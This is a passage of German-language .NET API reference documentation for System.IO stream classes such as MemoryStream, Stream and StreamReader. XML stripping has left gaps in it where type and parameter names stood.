Stream ist geschlossen. + 1 + + + Schreibt eine Zeichenfolge mit Längenpräfix in der aktuellen Codierung von in diesen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Codierung und der in den Stream geschriebenen Zeichen. + Der zu schreibende Wert. + E/A-Fehler. + + ist null. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 2-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 2 Bytes. + Die zu schreibende 2-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 4-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 8-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 32-Bit-Ganzzahl in einem komprimierten Format. + Die zu schreibende 32-Bit-Ganzzahl. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + Der Stream ist geschlossen. + + + Die Ausnahme, die ausgelöst wird, wenn hinter dem Ende eines Streams ein Leseversuch erfolgt. + 2 + + + Initialisiert eine neue Instanz der -Klasse, bei der die Meldungszeichenfolge auf eine vom System gelieferte Meldung und HRESULT auf COR_E_ENDOFSTREAM festgelegt ist. + + + Initialisiert eine neue Instanz der -Klasse, bei der die Nachrichtenzeichenfolge auf und HRESULT auf COR_E_ENDOFSTREAM festgelegt wurde. + Eine Zeichenfolge, die den Fehler beschreibt.Der Inhalt der soll in verständlicher Sprache gehalten sein.Der Aufrufer dieses Konstruktors muss sicherstellen, dass diese Zeichenfolge für die aktuelle Systemkultur lokalisiert wurde. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung und einem Verweis auf die innere Ausnahme, die diese Ausnahme ausgelöst hat. + Eine Zeichenfolge, die den Fehler beschreibt.Der Inhalt der soll in verständlicher Sprache gehalten sein.Der Aufrufer dieses Konstruktors muss sicherstellen, dass diese Zeichenfolge für die aktuelle Systemkultur lokalisiert wurde. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + Die Ausnahme, die ausgelöst wird, wenn ein Datenstream ein ungültiges Format hat. + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + + + Initialisiert eine neue Instanz der -Klasse mit einem Verweis auf die innere Ausnahme, die die Ausnahme ausgelöst hat. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + Erstellt einen Stream, der den Arbeitsspeicher als Sicherungsspeicher verwendet.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 2 + + + Initialisiert eine neue Instanz der -Klasse mit einer erweiterbaren Kapazität, die mit 0 (null) initialisiert wurde. + + + Initialisiert anhand des angegebenen Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann. + Das Array vorzeichenloser Bytes, aus dem der aktuelle Stream erstellt werden soll. + + ist null. + + + Initialisiert anhand des angegebenen Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann, wobei die -Eigenschaft wie angegeben festgelegt wird. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + + ist null. + + + Initialisiert anhand des angegebenen Bereichs (Indexes) eines Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , an dem der Stream beginnt. + Die Länge des Streams in Bytes. + + ist null. + + oder ist kleiner als 0. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert anhand des angegebenen Bereichs eines Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann, wobei die -Eigenschaft wie angegeben festgelegt wurde. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , bei dem der Stream beginnt. + Die Länge des Streams in Bytes. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + + ist null. + + oder ist negativ. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert eine neue Instanz der -Klasse auf der Grundlage des angegebenen Bereichs eines Bytearrays, wobei die -Eigenschaft und die Möglichkeit zum Aufruf von wie angegeben festgelegt werden. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , an dem der Stream beginnt. + Die Länge des Streams in Bytes. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + true, um zu aktivieren, wodurch das Array vorzeichenloser Bytes zurückgegeben wird, aus dem der Stream erstellt wurde, andernfalls false. + + ist null. + + oder ist negativ. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert eine neue Instanz der -Klasse mit einer erweiterbaren Kapazität, die mit dem angegebenen Wert initialisiert wird. + Die Anfangsgröße des internen Arrays in Bytes. + + ist negativ. + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Lesevorgänge unterstützt. + true, wenn der Stream geöffnet ist. + 2 + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Suchvorgänge unterstützt. + true, wenn der Stream geöffnet ist. + 2 + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Schreibvorgänge unterstützt. + true, wenn der Stream Schreibvorgänge unterstützt, andernfalls false. + 2 + + + Ruft die Anzahl der für diesen Stream reservierten Bytes ab oder legt diese fest. + Die Länge des Bereichs, der für den Stream im Puffer verwendet werden kann. + Es wurde eine Kapazität festgelegt, die negativ oder kleiner als die derzeitige Länge des Streams ist. + Der aktuelle Stream ist geschlossen. + set wird für einen Stream aufgerufen, dessen Kapazität nicht geändert werden kann. + 2 + + + Liest alle Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße und eines Abbruchtokens in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein. + Das Token zum überwachen von Abbruchanforderungen . + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Gibt die von der -Klasse verwendeten nicht verwalteten Ressourcen frei und gibt (optional) auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Überschreibt die -Methode, sodass keine Aktion durchgeführt wird. + 2 + + + Löscht sämtliche Puffer für diesen Stream asynchron und überwacht Abbruchanforderungen. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Das Token zum überwachen von Abbruchanforderungen . + Der Stream wurde freigegeben. + + + Ruft die Länge des Streams in Bytes ab. + Die Länge des Streams in Bytes. + Der Stream ist geschlossen. + 2 + + + Ruft die aktuelle Position im Stream ab oder legt diese fest. + Die aktuelle Position innerhalb des Streams. + Die Position ist auf einen negativen Wert oder einen größeren Wert als festgelegt. + Der Stream ist geschlossen. + 2 + + + Liest einen Byteblock aus dem aktuellen Stream und schreibt die Daten in einen Puffer. + Die Gesamtanzahl der in den Puffer geschriebenen Bytes.Dies kann weniger als die Anzahl der angeforderten Bytes sein, wenn diese Anzahl an Bytes derzeit nicht verfügbar ist, oder null, wenn das Ende des Streams erreicht ist, bevor mindestens ein Byte gelesen wurde. + Enthält nach dem Beenden dieser Methode das angegebene Bytearray mit den Werten zwischen und ( + - 1), die durch aus dem aktuellen Stream gelesene Zeichen ersetzt wurden. + Der nullbasierte Byteoffset im , ab dem die Daten aus dem aktuellen Stream gespeichert werden. + Die maximale Anzahl der zu lesenden Bytes. + + ist null. + + oder ist negativ. + + subtrahiert von der Pufferlänge ist kleiner als . + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Liest eine Folge von Bytes asynchron aus dem aktuellen Stream, erhöht die Position im Stream um die Anzahl der gelesenen Bytes und überwacht Abbruchanfragen. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest ein Byte aus dem aktuellen Stream. + Das Byte, das in umgewandelt wurde, oder -1, wenn das Ende des Streams erreicht wurde. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Legt die Position im aktuellen Stream auf den angegebenen Wert fest. + Die neue Position im Stream, die durch Kombinieren des anfänglichen Verweispunktes und des Offsets berechnet wird. + Die neue Position innerhalb des Streams.Diese ist relativ zum -Parameter und kann positiv oder negativ sein. + Ein Wert vom Typ , der den Bezugspunkt für die Suche darstellt. + Es wurde versucht, eine Suche vor dem Anfang des Streams auszuführen. + + ist größer als . + Ein ist ungültig. - oder - hat einen arithmetischen Überlauf verursacht. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Legt die Länge des aktuellen Streams auf den angegebenen Wert fest. + Der Wert, auf den die Länge festgelegt werden soll. + Die Größe des aktuellen Streams kann nicht geändert werden, und übersteigt die aktuelle Kapazität.- oder - Der aktuelle Stream unterstützt keine Schreibvorgänge. + + ist negativ oder größer als die maximale Länge von , wobei die maximale Länge ( - Ursprung) ist, und der Ursprung der Index des zugrunde liegenden Puffers ist, an dem der Stream beginnt. + 2 + + + Schreibt den Inhalt des Streams in ein Bytearray, unabhängig von der -Eigenschaft. + Ein neues Bytearray. + 2 + + + Gibt das Array vorzeichenloser Bytes zurück, aus dem dieser Stream erstellt wurde.Der Rückgabewert gibt an, ob die Konvertierung erfolgreich abgeschlossen wurde. + true, wenn die Konvertierung erfolgreich war, andernfalls false. + Das Bytearraysegment, aus dem der Stream erstellt wurde. + + + Schreibt einen Byteblock mit den aus einem Puffer gelesenen Daten in den aktuellen Stream. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den aktuellen Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + + ist null. + Der Stream unterstützt das Schreiben nicht.Weitere Informationen finden Sie unter .- oder - Der Abstand der aktuellen Position zum Ende des Streams beträgt weniger als Bytes, und die Kapazität kann nicht geändert werden. + + subtrahiert von der Pufferlänge ist kleiner als . + + oder ist negativ. + E/A-Fehler. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes asynchron in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes und überwacht Abbruchanforderungen. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Byte an die aktuelle Position im aktuellen Stream. + Das zu schreibende Byte. + Der Stream unterstützt das Schreiben nicht.Weitere Informationen finden Sie unter .- oder - Die aktuelle Position befindet sich am Ende des Streams, und die Kapazität kann nicht geändert werden. + Der aktuelle Stream ist geschlossen. + 2 + + + Schreibt den gesamten Inhalt dieses Arbeitsspeicherstreams in einen anderen Stream. + Der Stream, in den dieser Arbeitsspeicherstream geschrieben werden soll. + + ist null. + Der aktuelle Stream oder der Zielstream ist geschlossen. + 2 + + + Gibt die Position in einem Stream an, der für die Suche verwendet werden soll. + 2 + + + Gibt den Anfang eines Streams an. + + + Gibt die aktuelle Position innerhalb eines Streams an. + + + Gibt das Ende eines Streams an. + + + Stellt eine allgemeine Ansicht einer Folge von Bytes bereit.Dies ist eine abstrakte Klasse.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Lesevorgänge unterstützt. + true, wenn der Stream Lesevorgänge unterstützt, andernfalls false. + 1 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Suchvorgänge unterstützt. + true, wenn der Stream Suchvorgänge unterstützt, andernfalls false. + 1 + + + Ruft einen Wert ab, der bestimmt, ob für den aktuellen Stream ein Timeout möglich ist. + Ein Wert, der bestimmt, ob für den aktuellen Stream ein Timeout möglich ist. + 2 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Schreibvorgänge unterstützt. + true, wenn der Stream Schreibvorgänge unterstützt, andernfalls false. + 1 + + + Liest alle Bytes aus dem aktuellen Stream und schreibt sie in einen anderen Datenstrom. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + + ist null. + Der aktuelle Stream unterstützt keine Lesevorgänge.- oder - unterstützt das Schreiben nicht. + Entweder der aktuelle Stream oder wurde geschlossen, bevor die -Methode aufgerufen wurde. + Ein E/A-Fehler ist aufgetreten. + + + Liest alles Bytes aus dem aktuellen Datenstrom und schreibt sie unter Verwendung einer angegebenen Puffergröße in einen anderen Datenstrom. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Puffers.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + + ist null. + + ist negativ oder 0 (null). + Der aktuelle Stream unterstützt keine Lesevorgänge.- oder - unterstützt das Schreiben nicht. + Entweder der aktuelle Stream oder wurde geschlossen, bevor die -Methode aufgerufen wurde. + Ein E/A-Fehler ist aufgetreten. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + + ist null. + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße und eines Abbruchtokens in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Gibt alle vom verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Löscht beim Überschreiben in einer abgeleiteten Klasse alle Puffer für diesen Stream und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + E/A-Fehler. + 2 + + + Löscht sämtliche Puffer für diesen Stream asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Stream wurde freigegeben. + + + Löscht alle Puffer für diesen Stream asynchron, veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät und überwacht Abbruchanforderungen. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + Der Stream wurde freigegeben. + + + Ruft beim Überschreiben in einer abgeleiteten Klasse die Länge des Streams in Bytes ab. + Ein Long-Wert, der die Länge des Streams in Bytes darstellt. + Eine aus Stream abgeleitete Klasse unterstützt keine Suchvorgänge. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Ein Stream ohne Sicherungsspeicher. + 1 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse die Position im aktuellen Stream ab oder legt diese fest. + Die aktuelle Position innerhalb des Streams. + E/A-Fehler. + Der Stream unterstützt keine Suchvorgänge. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Liest beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes aus dem aktuellen Stream und erhöht die Position im Stream um die Anzahl der gelesenen Bytes. + Die Gesamtanzahl der in den Puffer gelesenen Bytes.Dies kann weniger als die Anzahl der angeforderten Bytes sein, wenn diese Anzahl an Bytes derzeit nicht verfügbar ist, oder 0, wenn das Ende des Streams erreicht ist. + Ein Bytearray.Nach dem Beenden dieser Methode enthält der Puffer das angegebene Bytearray mit den Werten zwischen und ( + - 1), die durch aus der aktuellen Quelle gelesene Bytes ersetzt wurden. + Der nullbasierte Byteoffset im , ab dem die aus dem aktuellen Stream gelesenen Daten gespeichert werden. + Die maximale Anzahl an Bytes, die aus dem aktuellen Stream gelesen werden sollen. + Die Summe aus und ist größer als die Pufferlänge. + + ist null. + + oder ist negativ. + E/A-Fehler. + Lesevorgänge werden vom Stream nicht unterstützt. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Liest eine Bytesequenz asynchron aus dem aktuellen Stream und setzt die Position in diesem Stream um die Anzahl der gelesenen Bytes nach vorn. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest eine Folge von Bytes asynchron aus dem aktuellen Stream, erhöht die Position im Stream um die Anzahl der gelesenen Bytes und überwacht Abbruchanfragen. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest ein Byte aus dem Stream und erhöht die Position im Stream um ein Byte, oder gibt -1 zurück, wenn das Ende des Streams erreicht ist. + Das Byte ohne Vorzeichen, umgewandelt in Int32, oder -1, wenn das Ende des Streams erreicht ist. + Lesevorgänge werden vom Stream nicht unterstützt. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Ruft einen Wert in Millisekunden ab, der bestimmt, wie lange der Stream versucht, Lesevorgänge durchzuführen, bevor ein Timeout auftritt, oder legt diesen fest. + Ein Wert in Millisekunden, der bestimmt, wie lange der Stream versucht, Lesevorgänge durchzuführen, bevor ein Timeout auftritt. + Die -Methode löst immer eine aus. + 2 + + + Legt beim Überschreiben in einer abgeleiteten Klasse die Position im aktuellen Stream fest. + Die neue Position innerhalb des aktuellen Streams. + Ein Byteoffset relativ zum -Parameter. + Ein Wert vom Typ , der den Bezugspunkt angibt, von dem aus die neue Position ermittelt wird. + E/A-Fehler. + Der Stream unterstützt keine Suchvorgänge. Dies ist beispielsweise der Fall, wenn der Stream aus einer Pipe- oder Konsolenausgabe erstellt wird. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Legt beim Überschreiben in einer abgeleiteten Klasse die Länge des aktuellen Streams fest. + Die gewünschte Länge des aktuellen Streams in Bytes. + E/A-Fehler. + Der Stream unterstützt nicht sowohl Lese- als auch Schreibvorgänge. Dies ist beispielsweise der Fall, wenn der Stream aus einer Pipe- oder Konsolenausgabe erstellt wird. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes. + Ein Bytearray.Diese Methode kopiert Bytes aus dem in den aktuellen Stream. + Der nullbasierte Byteoffset im , ab dem Bytes in den aktuellen Stream kopiert werden. + Die Anzahl an Bytes, die in den aktuellen Stream geschrieben werden sollen. + Die Summe der  und  ist größer als die Länge des Puffers. + + ist null. + + oder  ist negativ. + E/a-Fehler, wie z. B. die angegebene Datei nicht gefunden werden kann. + Der Stream unterstützt das Schreiben nicht. + + wurde aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Schreibt eine Bytesequenz asynchron in den aktuellen Stream und setzt die aktuelle Position in diesem Stream um die Anzahl der geschriebenen Bytes nach vorn. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes asynchron in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes und überwacht Abbruchanforderungen. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Byte an die aktuellen Position im Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das Byte, das in den Stream geschrieben werden soll. + E/A-Fehler. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Ruft einen Wert in Millisekunden ab, der bestimmt, wie lange der Stream versucht, Schreibvorgänge durchzuführen, bevor ein Timeout auftritt, oder legt diesen fest. + Ein Wert in Millisekunden, der bestimmt, wie lange der Stream versucht, Schreibvorgänge durchzuführen, bevor ein Timeout auftritt. + Die -Methode löst immer eine aus. + 2 + + + Implementiert einen , der Zeichen aus einem Bytestream in einer bestimmten Codierung liest.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 1 + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream. + Der zu lesende Stream. + + unterstützt keine Lesevorgänge. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Option zur Erkennung der Bytereihenfolgemarken. + Der zu lesende Stream. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + + unterstützt keine Lesevorgänge. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und mit der angegebenen Zeichencodierung. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + + unterstützt keine Lesevorgänge. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Zeichencodierung und Option zur Erkennung der Bytereihenfolgemarken. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + + unterstützt keine Lesevorgänge. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Zeichencodierung, Option zur Erkennung der Bytereihenfolgemarken und Puffergröße. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + Die Mindestgröße des Puffers. + Lesevorgänge werden vom Stream nicht unterstützt. + + oder ist null. + + ist kleiner oder gleich 0 (null). + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream auf Grundlage der angegebenen Zeichencodierung, der Option zur Erkennung der Bytereihenfolgenmarken, der Puffergröße und lässt optional den Stream geöffnet. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + true, um am Anfang der Datei nach Bytereihenfolgemarken zu suchen, andernfalls false. + Die Mindestgröße des Puffers. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + + + Gibt den zugrunde liegenden Stream zurück. + Der zugrunde liegende Stream. + 2 + + + Ruft die aktuelle Zeichencodierung ab, die das aktuelle -Objekt verwendet. + Die durch das aktuelle Leseprogramm verwendete aktuelle Zeichencodierung.Der Wert kann sich nach dem ersten Aufruf einer -Methode von ändern, da die automatische Erkennung der Codierung erst nach dem ersten Aufruf einer -Methode erfolgt. + 2 + + + Löscht den internen Puffer. + 2 + + + Schließt den zugrunde liegenden Stream und gibt die vom verwendeten nicht verwalteten Ressourcen sowie optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft einen Wert ab, der angibt, ob sich die aktuelle Streamposition am Ende des Streams befindet. + true, wenn sich die aktuelle Streamposition am Ende des Streams befindet, andernfalls false. + Der zugrunde liegende Stream wurde verworfen. + 1 + + + Ein -Objekt um einen leeren Stream. + 1 + + + Gibt das nächste verfügbare Zeichen zurück, ohne es zu verarbeiten. + Eine ganze Zahl, die das nächste zu lesende Zeichen darstellt, oder -1, wenn keine zu lesenden Zeichen vorhanden sind oder der Stream keine Suchvorgänge unterstützt. + E/A-Fehler. + 1 + + + Liest das nächste Zeichen aus dem Eingabestream und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen im Eingabestream wird als -Objekt dargestellt, oder -1, wenn keine weiteren Zeichen verfügbar sind. + E/A-Fehler. + 1 + + + Liest vom aktuellen Stream ein angegebenes Maximum von Zeichen in einen Puffer ein und beginnt dabei am angegebenen Index. + Die Anzahl der gelesenen Zeichen, bzw. 0 (null), wenn das Ende des Streams erreicht ist und keine Daten gelesen wurden.Die Anzahl ist gleich dem -Parameter oder kleiner, abhängig davon, ob die Daten im Stream verfügbar sind. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und (), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Der Index von , bei dem mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + Es ist ein E/A-Fehler aufgetreten, beispielsweise das Schließen eines Streams. + 1 + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen 